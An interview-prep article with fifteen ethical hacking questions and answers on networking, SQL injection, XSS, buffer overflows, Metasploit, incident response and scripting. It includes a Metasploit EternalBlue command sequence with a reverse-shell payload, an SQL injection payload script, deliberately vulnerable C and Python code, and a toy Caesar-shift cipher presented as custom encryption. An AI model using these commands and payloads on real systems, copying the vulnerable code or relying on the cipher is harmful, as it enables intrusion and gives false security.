15 Ethical Hacking Interview Questions and Answers

Ethical hacking, also known as penetration testing or white-hat hacking, plays a crucial role in modern cybersecurity. By identifying and addressing vulnerabilities before malicious hackers can exploit them, ethical hackers help organizations protect sensitive data and maintain the integrity of their systems. This field requires a deep understanding of various attack vectors, security protocols, and defensive strategies, making it a highly specialized and sought-after skill set.

This article offers a curated selection of interview questions designed to test your knowledge and problem-solving abilities in ethical hacking. Reviewing these questions will help you demonstrate your expertise and readiness to tackle real-world security challenges, thereby enhancing your prospects in the cybersecurity domain.

Ethical Hacking Interview Questions and Answers

1. Explain how the TCP three-way handshake works.

The TCP three-way handshake is a process used to establish a connection between a client and a server in a TCP/IP network. It involves three steps:

1. SYN (Synchronize):

• The client sends a SYN packet to the server to initiate a connection. This packet contains an initial sequence number (ISN) that the client will use for the communication.

2. SYN-ACK (Synchronize-Acknowledge):

• The server responds with a SYN-ACK packet. This packet acknowledges the client’s SYN packet by incrementing the client’s ISN by one and also includes the server’s own ISN.

3. ACK (Acknowledge):

• The client sends an ACK packet back to the server. This packet acknowledges the server’s SYN-ACK packet by incrementing the server’s ISN by one. At this point, the connection is established, and data transfer can begin.

2. How would you identify and mitigate an SQL injection attack?

SQL injection allows an attacker to execute arbitrary SQL code on a database by manipulating the input to a web application. This can lead to unauthorized access to data, data modification, or even deletion of data.

To identify an SQL injection attack, look for unusual patterns in input fields, such as:

• Input containing SQL keywords like SELECT, INSERT, UPDATE, DELETE, etc.
• Input with special characters like single quotes (‘), double quotes (“), semicolons (;), and comments (–).

Mitigation strategies include:

• Using prepared statements and parameterized queries to ensure that user input is treated as data and not executable code.
• Validating and sanitizing user inputs to remove any potentially harmful characters.
• Implementing proper error handling to avoid exposing database error messages to the user.
• Using web application firewalls (WAF) to detect and block SQL injection attempts.

Example:

import sqlite3

def safe_query(user_input):
    conn = sqlite3.connect('example.db')
    cursor = conn.cursor()
    
    # Using parameterized query to prevent SQL injection
    cursor.execute("SELECT * FROM users WHERE username = ?", (user_input,))
    
    result = cursor.fetchall()
    conn.close()
    return result

# Unsafe example (for illustration purposes only)
def unsafe_query(user_input):
    conn = sqlite3.connect('example.db')
    cursor = conn.cursor()
    
    # Directly using user input in the query (vulnerable to SQL injection)
    cursor.execute(f"SELECT * FROM users WHERE username = '{user_input}'")
    
    result = cursor.fetchall()
    conn.close()
    return result

3. What steps would you take to find and exploit an XSS vulnerability?

To find and exploit an XSS vulnerability, follow these steps:

• Identify Potential Injection Points: Look for areas in the web application where user input is reflected back without proper sanitization, such as search fields and URL parameters.
• Craft Malicious Payloads: Create payloads designed to execute arbitrary JavaScript code when reflected back to the user.
• Test for Vulnerability: Inject the payloads into the identified points and observe the application’s behavior. Execution indicates an XSS vulnerability.
• Exploit the Vulnerability: Exploit it by stealing cookies, session tokens, or performing other malicious actions.
• Report and Mitigate: Report the vulnerability and suggest mitigation strategies, such as input validation and output encoding.

4. Explain how a buffer overflow attack works and how to prevent it.

A buffer overflow attack exploits a program’s handling of memory. When data exceeds a buffer’s size, it can overwrite adjacent memory locations, potentially leading to arbitrary code execution.

Consider a simple C program that reads user input into a fixed-size buffer:

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[10];
    strcpy(buffer, input);
    printf("Buffer content: %s\n", buffer);
}

int main() {
    char user_input[50];
    printf("Enter some text: ");
    gets(user_input);
    vulnerable_function(user_input);
    return 0;
}

If the user inputs more than 10 characters, the excess will overwrite adjacent memory, potentially causing a buffer overflow.

To prevent buffer overflow attacks:

• Input Validation: Validate and sanitize input data.
• Bounds Checking: Use functions that perform bounds checking, such as strncpy instead of strcpy.
• Stack Canaries: Implement stack canaries to detect buffer overflows before they overwrite critical data.
• Address Space Layout Randomization (ASLR): Randomize memory address space to make it harder for attackers to predict locations.
• Data Execution Prevention (DEP): Mark certain memory areas as non-executable to prevent code execution.

5. What are the key security concerns in wireless networks?

Wireless networks are more vulnerable to security threats due to their broadcast nature. Key concerns include:

• Eavesdropping: Unauthorized interception of data.
• Unauthorized Access: Intruders gaining access without permission.
• Man-in-the-Middle Attacks: Interception and alteration of communication.
• Denial of Service (DoS) Attacks: Overloading the network to disrupt operations.
• Rogue Access Points: Unauthorized access points mimicking legitimate ones.
• Weak Encryption: Using outdated or weak encryption protocols.
• Physical Security: Physical access to network infrastructure.

6. How do you use Metasploit for penetration testing?

Metasploit is a framework for penetration testing and security research. It provides tools to identify, exploit, and validate vulnerabilities. The primary components include exploit modules, payloads, and auxiliary modules.

To use Metasploit for penetration testing:

• Information Gathering: Use auxiliary modules to scan and gather information about the target system.
• Selecting an Exploit: Choose an appropriate exploit module based on gathered information.
• Configuring the Exploit: Set parameters like target IP address, port number, and payload.
• Executing the Exploit: Run the exploit to gain access to the target system.
• Post-Exploitation: Use post-exploitation modules to gather further information or maintain access.

Example of using Metasploit:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_ip>
run

7. Explain the differences between symmetric and asymmetric cryptography.

Symmetric cryptography uses a single key for both encryption and decryption, while asymmetric cryptography uses a pair of keys: a public key for encryption and a private key for decryption. Symmetric algorithms are generally faster, but key sharing is a challenge. Asymmetric algorithms are slower but eliminate the need to share a secret key.

8. Explain the importance of incident response and the steps involved.

Incident response helps organizations quickly detect and respond to security incidents, minimizing impact. It also aids in identifying the root cause to prevent future occurrences. Effective incident response protects sensitive data, maintains customer trust, and ensures compliance.

Steps involved in incident response:

• Preparation: Establish and train an incident response team, and develop an incident response plan.
• Identification: Detect and identify potential security incidents.
• Containment: Limit the spread of the incident to prevent further damage.
• Eradication: Remove the cause of the incident.
• Recovery: Restore and validate system functionality.
• Lessons Learned: Conduct a post-incident review to improve future responses.

9. What is threat modeling and how is it performed?

Threat modeling is a structured approach to identifying and evaluating potential security threats to a system. It involves:

• Identify Assets: Determine what valuable assets need protection.
• Create an Architecture Overview: Develop a detailed understanding of the system architecture.
• Identify Threats: Use methodologies like STRIDE to identify potential threats.
• Mitigate Threats: Develop strategies to mitigate identified threats.
• Validate and Iterate: Continuously validate the effectiveness of mitigation strategies.

10. Describe secure coding practices and their importance.

Secure coding practices involve guidelines and techniques to create software resistant to security threats. Key practices include:

• Input Validation: Validate and sanitize user inputs.
• Authentication and Authorization: Implement strong authentication mechanisms.
• Data Encryption: Encrypt sensitive data both in transit and at rest.
• Error Handling: Properly handle errors and exceptions.
• Code Reviews: Conduct regular code reviews to identify vulnerabilities.
• Dependency Management: Keep third-party libraries up to date.
• Secure Configuration: Ensure secure configuration of the application and its environment.

11. Explain different penetration testing methodologies.

Penetration testing methodologies provide a structured framework for conducting tests. Some widely recognized methodologies include:

• OSSTMM: Focuses on operational security and provides guidelines for testing security controls.
• OWASP Testing Guide: Designed for web application security testing with a list of test cases and techniques.
• NIST SP 800-115: Provides a structured approach for conducting information security assessments.
• PTES: Outlines technical guidelines and best practices for conducting penetration tests.
• ISSAF: Provides a structured approach for assessing the security of information systems.

12. Write a script to capture and analyze network traffic.

To capture and analyze network traffic, use the Scapy library in Python. Scapy allows for network packet manipulation.

Here is a simple script to capture and analyze network traffic using Scapy:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.summary())

# Capture 10 packets
sniff(prn=packet_callback, count=10)

In this script, the sniff function captures network packets, and the packet_callback function prints a summary of each packet.

13. Create a script to automate the exploitation of a specific vulnerability.

In ethical hacking, automating the exploitation of a specific vulnerability should always be done with explicit permission and within legal boundaries. The goal is to identify and fix vulnerabilities, not to cause harm. Automation can be achieved using scripting languages like Python, which offers libraries such as requests for web-based vulnerabilities or paramiko for SSH-based vulnerabilities.

Here is a high-level example of a script that automates the exploitation of a simple web-based vulnerability, such as an SQL injection. This example is purely educational and should only be used in a controlled, legal environment.

import requests

url = "http://example.com/vulnerable_endpoint"
payload = "' OR '1'='1"

response = requests.get(url, params={"input": payload})

if "Welcome" in response.text:
    print("Vulnerability exploited successfully!")
else:
    print("Exploit failed.")

14. Develop a custom encryption algorithm and implement it in a script.

A custom encryption algorithm can be designed by combining basic cryptographic principles such as substitution and permutation. The algorithm should ensure that the plaintext is transformed into ciphertext in a way that is difficult to reverse without the decryption key. One simple approach is to use a combination of character shifting (Caesar cipher) and bitwise operations.

Example:

class CustomEncryption:
    def __init__(self, key):
        self.key = key

    def encrypt(self, plaintext):
        encrypted = ''.join(chr((ord(char) + self.key) % 256) for char in plaintext)
        return encrypted

    def decrypt(self, ciphertext):
        decrypted = ''.join(chr((ord(char) - self.key) % 256) for char in ciphertext)
        return decrypted

# Usage
key = 4
cipher = CustomEncryption(key)
encrypted_text = cipher.encrypt("Hello, World!")
decrypted_text = cipher.decrypt(encrypted_text)

print("Encrypted:", encrypted_text)
print("Decrypted:", decrypted_text)

15. Write a comprehensive script that combines port scanning, vulnerability detection, and exploitation techniques.

Ethical hacking involves several stages, including reconnaissance, scanning, vulnerability detection, and exploitation. A comprehensive script would typically include the following components:

• Port Scanning: Identifying open ports on a target system.
• Vulnerability Detection: Checking for known vulnerabilities on the identified open ports.
• Exploitation: Attempting to exploit the detected vulnerabilities to gain unauthorized access.

Here is a high-level overview and example snippets for each component:

1. Port Scanning:

import socket

def port_scan(target, ports):
    open_ports = []
    for port in ports:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((target, port))
        if result == 0:
            open_ports.append(port)
        sock.close()
    return open_ports

target = '192.168.1.1'
ports = range(1, 1024)
print("Open ports:", port_scan(target, ports))

2. Vulnerability Detection:

import requests

def check_vulnerabilities(target, open_ports):
    vulnerabilities = []
    for port in open_ports:
        url = f"http://{target}:{port}"
        try:
            response = requests.get(url, timeout=1)
            if "vulnerable" in response.text:
                vulnerabilities.append(port)
        except requests.ConnectionError:
            continue
    return vulnerabilities

open_ports = [80, 443]
print("Vulnerable ports:", check_vulnerabilities(target, open_ports))

3. Exploitation:

def exploit_vulnerability(target, port):
    # Example exploitation code
    print(f"Exploiting vulnerability on {target}:{port}")
    # Exploit code would go here

vulnerable_ports = [80]
for port in vulnerable_ports:
    exploit_vulnerability(target, port)